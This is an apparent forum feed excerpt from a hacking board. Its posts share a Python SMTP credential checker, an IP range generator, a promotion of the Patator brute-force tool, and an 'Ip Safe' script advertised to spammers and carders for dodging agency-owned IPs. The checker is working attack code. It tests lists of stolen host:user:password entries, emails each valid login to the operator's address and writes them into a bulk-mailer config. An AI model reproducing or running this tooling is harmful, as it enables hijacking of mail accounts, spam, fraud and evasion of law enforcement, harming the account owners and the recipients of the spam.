&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if not (200 &lt;= code &lt;= 299):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;raise SMTPHeloError(code, resp)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;smtp.sendmail(fromaddr, toaddr, message)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print "&#92;n&#92;t[!] Email Sent Successfully:",host, user, password<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print "&#92;t[!] Message Sent Successfully&#92;n"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LSstring = host+":"+user+":"+password+"&#92;n"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nList.append(LSstring)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# special list for AMS file ID's<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LFile = open(output, "a")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LFile.write(LSstring) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# save working host/usr/pass to file<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LFile.close()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AMSout = open("AMSlist.txt", "a")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AMSout.write("[Server"+str(nList.index(LSstring))+"]&#92;nName="+str(host)+"&#92;nPort=25&#92;nUserID=User&#92;nBccSize=50&#92;nUserName="+str(user)+"&#92;nPassword="+str(password)+"&#92;nAuthType=0&#92;n&#92;n")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;smtp.quit()<br />
&nbsp;&nbsp;&nbsp;&nbsp;except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print "[-] Login Failed:", host, user, password<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pass<br />
<br />
if len(sys.argv) != 3: <br />
    printHelp() <br />
    exit(1) <br />
<br />
# Do not change anything below. <br />
accounts = sys.argv[1]<br />
output = sys.argv[2]<br />
<br />
try: <br />
    handle = list(open(accounts))<br />
except: <br />
&nbsp;&nbsp;&nbsp;&nbsp;print"&#92;n[+] We were unable to open the SMTP filelist. Check again your path and try again."<br />
&nbsp;&nbsp;&nbsp;&nbsp;print"&#92;n[+] Ciao...."<br />
<br />
#listindex = 0<br />
nList = []<br />
for line in handle:<br />
&nbsp;&nbsp;&nbsp;&nbsp;try:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;host = line.split(':')[0]<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;user = line.split(':')[1].replace('&#92;n', '')<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;password = line.split(':')[2].replace('&#92;n', '')<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sendchk(handle.index(line), host, user, password)<br />
&nbsp;&nbsp;&nbsp;&nbsp;except:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print '&#92;n[+] We have found a error in your accounts list'<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print host, user<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print '&#92;n[!] IMPORTANT: THE SMTP ACCOUNTS MUST BE IN THE FOLLOWING FORMAT : IP:USER:PASS'<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print '&#92;n[-] Exiting....&#92;n'<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1)<br />
<br />
print "[!] Ended at: " + timer() + ""</code></div></div>]]></description>
			<content:encoded><![CDATA[Old SMTP Checker, Still Working<br />
<br />
All Credit To Old Hackers <img src="https://www.bpcforums.biz/images/smilies/smile.png" alt="Smile" title="Smile" class="smilie smilie_1" /><br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>#!usr/bin/python <br />
#more tools<br />
<br />
import sys, smtplib, socket, time<br />
from smtplib import SMTP <br />
<br />
socket.setdefaulttimeout(5)    # smtp default timeout, change number to speed up large lists<br />
<br />
def printHelp(): <br />
    print '&#92;nHow to use it ? There you go :) -- &gt; ./darkSMTPv.py &lt;accounts&gt; &lt;outputfile&gt;'<br />
    print '&#92;nImportant: THE SMTP ACCOUNTS MUST BE IN THE FOLLOWING FORMAT : IP:USER:PASS&#92;n'<br />
<br />
# Create the message<br />
fromaddr = "YOUR SENDER ADDRES"<br />
toaddr = "YOUR EAMIL FOR RECIVE SMTP RESULTS"<br />
#toaddr = "YOUR EAMIL FOR RECIVE SMTP RESULTS"<br />
message = """To: %s <br />
From: %s <br />
Subject: WELCOME HOME BROTHER...<br />
 <br />
WELCOME HOME BROTHER , WE MISS YOU ALL :( MOM DAD DIED 7 YEARS AGO :'(<br />
 <br />
""" % (toaddr,fromaddr) <br />
<br />
print "&#92;n     _            _     _____ __  __ _______ _____        " <br />
print "    | |          | |   / ____|  &#92;/  |__   __|  __ &#92;       "<br />
print "  __| | __ _ _ __| | _| (___ | &#92;  / |  | |  | |__) |_   __"<br />
print " / _` |/ _` | '__| |/ /&#92;___ &#92;| |&#92;/| |  | |  |  ___/&#92; &#92; / /"<br />
print "| (_| | (_| | |  |   &lt; ____) | |  | |  | |  | |     &#92; V / "<br />
print " &#92;__,_|&#92;__,_|_|  |_|&#92;_&#92;_____/|_|  |_|  |_|  |_|      &#92;_/  &#92;n"<br />
print "&#92;n This is not stopping here! ... To be continued."<br />
print "More features will be added soon. For bugs p47r1ckro[at]gmail[dot]com&#92;n"<br />
print "_______________________________________________________________________"<br />
<br />
<br />
def timer():<br />
        now = time.localtime(time.time())<br />
        return time.asctime(now)<br />
<br />
def sendchk(listindex, host, user, password):   # seperated function for checking<br />
&nbsp;&nbsp;&nbsp;&nbsp;try:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;smtp = smtplib.SMTP(host)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;smtp.login(user, password)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;code = smtp.ehlo()[0]<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if not (200 &lt;= code &lt;= 299):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;code = smtp.helo()[0]<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if not (200 &lt;= code &lt;= 299):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;raise SMTPHeloError(code, resp)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;smtp.sendmail(fromaddr, toaddr, message)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print "&#92;n&#92;t[!] Email Sent Successfully:",host, user, password<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print "&#92;t[!] Message Sent Successfully&#92;n"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LSstring = host+":"+user+":"+password+"&#92;n"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nList.append(LSstring)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# special list for AMS file ID's<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LFile = open(output, "a")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LFile.write(LSstring) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# save working host/usr/pass to file<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LFile.close()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AMSout = open("AMSlist.txt", "a")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AMSout.write("[Server"+str(nList.index(LSstring))+"]&#92;nName="+str(host)+"&#92;nPort=25&#92;nUserID=User&#92;nBccSize=50&#92;nUserName="+str(user)+"&#92;nPassword="+str(password)+"&#92;nAuthType=0&#92;n&#92;n")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;smtp.quit()<br />
&nbsp;&nbsp;&nbsp;&nbsp;except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print "[-] Login Failed:", host, user, password<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pass<br />
<br />
if len(sys.argv) != 3: <br />
    printHelp() <br />
    exit(1) <br />
<br />
# Do not change anything below. <br />
accounts = sys.argv[1]<br />
output = sys.argv[2]<br />
<br />
try: <br />
    handle = list(open(accounts))<br />
except: <br />
&nbsp;&nbsp;&nbsp;&nbsp;print"&#92;n[+] We were unable to open the SMTP filelist. Check again your path and try again."<br />
&nbsp;&nbsp;&nbsp;&nbsp;print"&#92;n[+] Ciao...."<br />
<br />
#listindex = 0<br />
nList = []<br />
for line in handle:<br />
&nbsp;&nbsp;&nbsp;&nbsp;try:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;host = line.split(':')[0]<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;user = line.split(':')[1].replace('&#92;n', '')<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;password = line.split(':')[2].replace('&#92;n', '')<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sendchk(handle.index(line), host, user, password)<br />
&nbsp;&nbsp;&nbsp;&nbsp;except:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print '&#92;n[+] We have found a error in your accounts list'<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print host, user<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print '&#92;n[!] IMPORTANT: THE SMTP ACCOUNTS MUST BE IN THE FOLLOWING FORMAT : IP:USER:PASS'<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print '&#92;n[-] Exiting....&#92;n'<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1)<br />
<br />
print "[!] Ended at: " + timer() + ""</code></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Ip Range Maker Python]]></title>
			<link>https://www.bpcforums.biz/Thread-ip-range-maker-python</link>
			<pubDate>Sun, 20 Nov 2016 12:24:13 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.bpcforums.biz/member.php?action=profile&uid=18883">subject0</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.bpcforums.biz/Thread-ip-range-maker-python</guid>
			<description><![CDATA[ips save like this :- 182.192.183.12<br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>import sys<br />
import re<br />
import os<br />
<br />
# Check for enough parameters<br />
if len(sys.argv) &lt; 3:<br />
    print "Usage: rangemaker.py infile outfile"<br />
    print "Example: rangemaker.py ips.txt out.txt"<br />
    sys.exit<br />
<br />
ipsfile = sys.argv[1]<br />
outfile = sys.argv[2]<br />
<br />
# Check if the ips file exists.<br />
if not os.path.isfile(ipsfile):<br />
    print "{0} not found!".format(ipsfile)<br />
    sys.exit()<br />
<br />
def make_range(ip):<br />
    """Make range from ip"""<br />
<br />
    # Check if the ip is valid<br />
    ip_pattern = r"^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)&#92;.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)&#36;"<br />
<br />
    match = re.match(ip_pattern, ip)<br />
    if match:<br />
        ip_list = ip.split(".")[:2]<br />
        <br />
        end = ".".join(ip_list + ["255"]*2)<br />
        return "{start}-{end}&#92;n".format(start=ip,<br />
                                      end=end)<br />
<br />
hOut = open(outfile, "a")<br />
<br />
with open(ipsfile, "r") as hIps:<br />
    for line in hIps:<br />
<br />
        # Strip newline and skip empty lines<br />
        line = line.strip()<br />
        if line == "":<br />
            continue<br />
<br />
        range_string = make_range(line)<br />
        if range_string:<br />
            hOut.write(range_string)<br />
<br />
hOut.close()</code></div></div>]]></description>
			<content:encoded><![CDATA[ips save like this :- 182.192.183.12<br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>import sys<br />
import re<br />
import os<br />
<br />
# Check for enough parameters<br />
if len(sys.argv) &lt; 3:<br />
    print "Usage: rangemaker.py infile outfile"<br />
    print "Example: rangemaker.py ips.txt out.txt"<br />
    sys.exit<br />
<br />
ipsfile = sys.argv[1]<br />
outfile = sys.argv[2]<br />
<br />
# Check if the ips file exists.<br />
if not os.path.isfile(ipsfile):<br />
    print "{0} not found!".format(ipsfile)<br />
    sys.exit()<br />
<br />
def make_range(ip):<br />
    """Make range from ip"""<br />
<br />
    # Check if the ip is valid<br />
    ip_pattern = r"^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)&#92;.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)&#36;"<br />
<br />
    match = re.match(ip_pattern, ip)<br />
    if match:<br />
        ip_list = ip.split(".")[:2]<br />
        <br />
        end = ".".join(ip_list + ["255"]*2)<br />
        return "{start}-{end}&#92;n".format(start=ip,<br />
                                      end=end)<br />
<br />
hOut = open(outfile, "a")<br />
<br />
with open(ipsfile, "r") as hIps:<br />
    for line in hIps:<br />
<br />
        # Strip newline and skip empty lines<br />
        line = line.strip()<br />
        if line == "":<br />
            continue<br />
<br />
        range_string = make_range(line)<br />
        if range_string:<br />
            hOut.write(range_string)<br />
<br />
hOut.close()</code></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Patator v0.5 Python - Best Cracker]]></title>
			<link>https://www.bpcforums.biz/Thread-patator-v0-5-python-best-cracker</link>
			<pubDate>Sat, 19 Nov 2016 21:19:11 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.bpcforums.biz/member.php?action=profile&uid=18883">subject0</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.bpcforums.biz/Thread-patator-v0-5-python-best-cracker</guid>
			<description><![CDATA[Patator was written out of frustration from using Hydra, Medusa, Ncrack, Metasploit modules and Nmap NSE scripts for password guessing attacks. I opted for a different approach in order to not create yet another brute-forcing tool and avoid repeating the same shortcomings. Patator is a multi-threaded tool written in Python, that strives to be more reliable and flexible than his fellow predecessors.<br />
<br />
Currently it supports the following modules:<br />
<br />
* ftp_login     : Brute-force FTP<br />
* ssh_login     : Brute-force SSH<br />
* telnet_login  : Brute-force Telnet<br />
* smtp_login    : Brute-force SMTP<br />
* smtp_vrfy     : Enumerate valid users using the SMTP VRFY command<br />
* smtp_rcpt     : Enumerate valid users using the SMTP RCPT TO command<br />
* finger_lookup : Enumerate valid users using Finger<br />
* http_fuzz     : Brute-force HTTP/HTTPS<br />
* ajp_fuzz      : Brute-force AJP<br />
* pop_login     : Brute-force POP<br />
* pop_passd     : Brute-force poppassd (not POP3)<br />
* imap_login    : Brute-force IMAP<br />
* ldap_login    : Brute-force LDAP<br />
* smb_login     : Brute-force SMB<br />
* smb_lookupsid : Brute-force SMB SID-lookup<br />
* rlogin_login  : Brute-force rlogin<br />
* vmauthd_login : Brute-force VMware Authentication Daemon<br />
* mssql_login   : Brute-force MSSQL<br />
* oracle_login  : Brute-force Oracle<br />
* mysql_login   : Brute-force MySQL<br />
* mysql_query   : Brute-force MySQL queries<br />
* rdp_login     : Brute-force RDP (NLA)<br />
* pgsql_login   : Brute-force PostgreSQL<br />
* vnc_login     : Brute-force VNC<br />
* dns_forward   : Brute-force DNS<br />
* dns_reverse   : Brute-force DNS (reverse lookup subnets)<br />
* ike_enum      : Enumerate IKE transforms<br />
* snmp_login    : Brute-force SNMPv1/2 and SNMPv3<br />
* unzip_pass    : Brute-force the password of encrypted ZIP files<br />
* keystore_pass : Brute-force the password of Java keystore files<br />
* umbraco_crack : Crack Umbraco HMAC-SHA1 password hashes<br />
<br />
DOWNLOAD LINKS :- <a href="http://www.hsc.fr/ressources/outils/patator/" target="_blank" rel="noopener" class="mycode_url">http://www.hsc.fr/ressources/outils/patator/</a> - <a href="https://github.com/lanjelot/patator" target="_blank" rel="noopener" class="mycode_url">https://github.com/lanjelot/patator</a> - <a href="https://github.com/lanjelot/patator/blob/master/patator.py" target="_blank" rel="noopener" class="mycode_url">https://github.com/lanjelot/patator/blob...patator.py</a>]]></description>
			<content:encoded><![CDATA[Patator was written out of frustration from using Hydra, Medusa, Ncrack, Metasploit modules and Nmap NSE scripts for password guessing attacks. I opted for a different approach in order to not create yet another brute-forcing tool and avoid repeating the same shortcomings. Patator is a multi-threaded tool written in Python, that strives to be more reliable and flexible than his fellow predecessors.<br />
<br />
Currently it supports the following modules:<br />
<br />
* ftp_login     : Brute-force FTP<br />
* ssh_login     : Brute-force SSH<br />
* telnet_login  : Brute-force Telnet<br />
* smtp_login    : Brute-force SMTP<br />
* smtp_vrfy     : Enumerate valid users using the SMTP VRFY command<br />
* smtp_rcpt     : Enumerate valid users using the SMTP RCPT TO command<br />
* finger_lookup : Enumerate valid users using Finger<br />
* http_fuzz     : Brute-force HTTP/HTTPS<br />
* ajp_fuzz      : Brute-force AJP<br />
* pop_login     : Brute-force POP<br />
* pop_passd     : Brute-force poppassd (not POP3)<br />
* imap_login    : Brute-force IMAP<br />
* ldap_login    : Brute-force LDAP<br />
* smb_login     : Brute-force SMB<br />
* smb_lookupsid : Brute-force SMB SID-lookup<br />
* rlogin_login  : Brute-force rlogin<br />
* vmauthd_login : Brute-force VMware Authentication Daemon<br />
* mssql_login   : Brute-force MSSQL<br />
* oracle_login  : Brute-force Oracle<br />
* mysql_login   : Brute-force MySQL<br />
* mysql_query   : Brute-force MySQL queries<br />
* rdp_login     : Brute-force RDP (NLA)<br />
* pgsql_login   : Brute-force PostgreSQL<br />
* vnc_login     : Brute-force VNC<br />
* dns_forward   : Brute-force DNS<br />
* dns_reverse   : Brute-force DNS (reverse lookup subnets)<br />
* ike_enum      : Enumerate IKE transforms<br />
* snmp_login    : Brute-force SNMPv1/2 and SNMPv3<br />
* unzip_pass    : Brute-force the password of encrypted ZIP files<br />
* keystore_pass : Brute-force the password of Java keystore files<br />
* umbraco_crack : Crack Umbraco HMAC-SHA1 password hashes<br />
<br />
DOWNLOAD LINKS :- <a href="http://www.hsc.fr/ressources/outils/patator/" target="_blank" rel="noopener" class="mycode_url">http://www.hsc.fr/ressources/outils/patator/</a> - <a href="https://github.com/lanjelot/patator" target="_blank" rel="noopener" class="mycode_url">https://github.com/lanjelot/patator</a> - <a href="https://github.com/lanjelot/patator/blob/master/patator.py" target="_blank" rel="noopener" class="mycode_url">https://github.com/lanjelot/patator/blob...patator.py</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Ip Safe Python - Spammers Hackers Carders]]></title>
			<link>https://www.bpcforums.biz/Thread-ip-safe-python-spammers-hackers-carders</link>
			<pubDate>Sat, 19 Nov 2016 21:14:25 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.bpcforums.biz/member.php?action=profile&uid=18883">subject0</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.bpcforums.biz/Thread-ip-safe-python-spammers-hackers-carders</guid>
			<description><![CDATA[Ip Safe Python Script<br />
<br />
Good for Spammers Hackers Carders Pentesters<br />
<br />
2 Files Save in 1 Folder<br />
<br />
file save :- ipsafe.py<br />
file save :- agencies.xml<br />
<br />
save agencies in xml file download link :- <a href="http://paste.security-portal.cz/view/raw/ce5f260f" target="_blank" rel="noopener" class="mycode_url">http://paste.security-portal.cz/view/raw/ce5f260f</a><br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>import sys<br />
import xml.etree.ElementTree as et<br />
<br />
class AgencyXmlReader:<br />
&nbsp;&nbsp;&nbsp;&nbsp;def __init__(self, fname):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.xmlDoc = et.parse(fname).getroot()<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;def agencies(self):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;agencies = [];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for agency in self.xmlDoc:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;name = agency[0].text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ipStart = agency[1].text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ipEnd = agency[2].text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;agencies.append(Agency(name,ipStart,ipEnd))<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return agencies<br />
<br />
<br />
class Agency:<br />
&nbsp;&nbsp;&nbsp;&nbsp;def __init__(self, name, ipStart, ipEnd):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.name = name<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.ipStart = ipStart<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.ipEnd = ipEnd<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.ipStartParts = self._parts(ipStart)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.ipEndParts = self._parts(ipEnd)<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;def name(self):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return self.name<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;def ipStart(self):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return self.ipStart<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;def ipEnd(self):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return self.ipEnd<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;def isIpInRange(self,ip):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ipParts = self._parts(ip)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;contained=True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for i in range(0,4):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if self.ipStartParts[i] &lt;= ipParts[i] &lt;= self.ipEndParts[i]:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;contained = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return contained<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;def _parts(self,ip):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return [int(x) for x in ip.split('.')]<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
def main():<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if len(sys.argv) &lt; 2:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("Usage: python ipsafe.py &lt;ip address&gt;")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1)<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;ip = sys.argv[1]<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;axr = AgencyXmlReader("agencies.xml")<br />
&nbsp;&nbsp;&nbsp;&nbsp;agencies = axr.agencies()<br />
&nbsp;&nbsp;&nbsp;&nbsp;isSafe = True<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;for agency in agencies:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if agency.isIpInRange(ip):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;name = agency.name<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ipStart = agency.ipStart<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ipEnd = agency.ipEnd<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(ip + " is not safe, because it's controlled by the FBI.")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("The ip is associated with agency " + name + ".")<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("The agency uses the  following ip range  [" + <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ipStart +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;" - " +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ipEnd +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"]")<br />
<br />
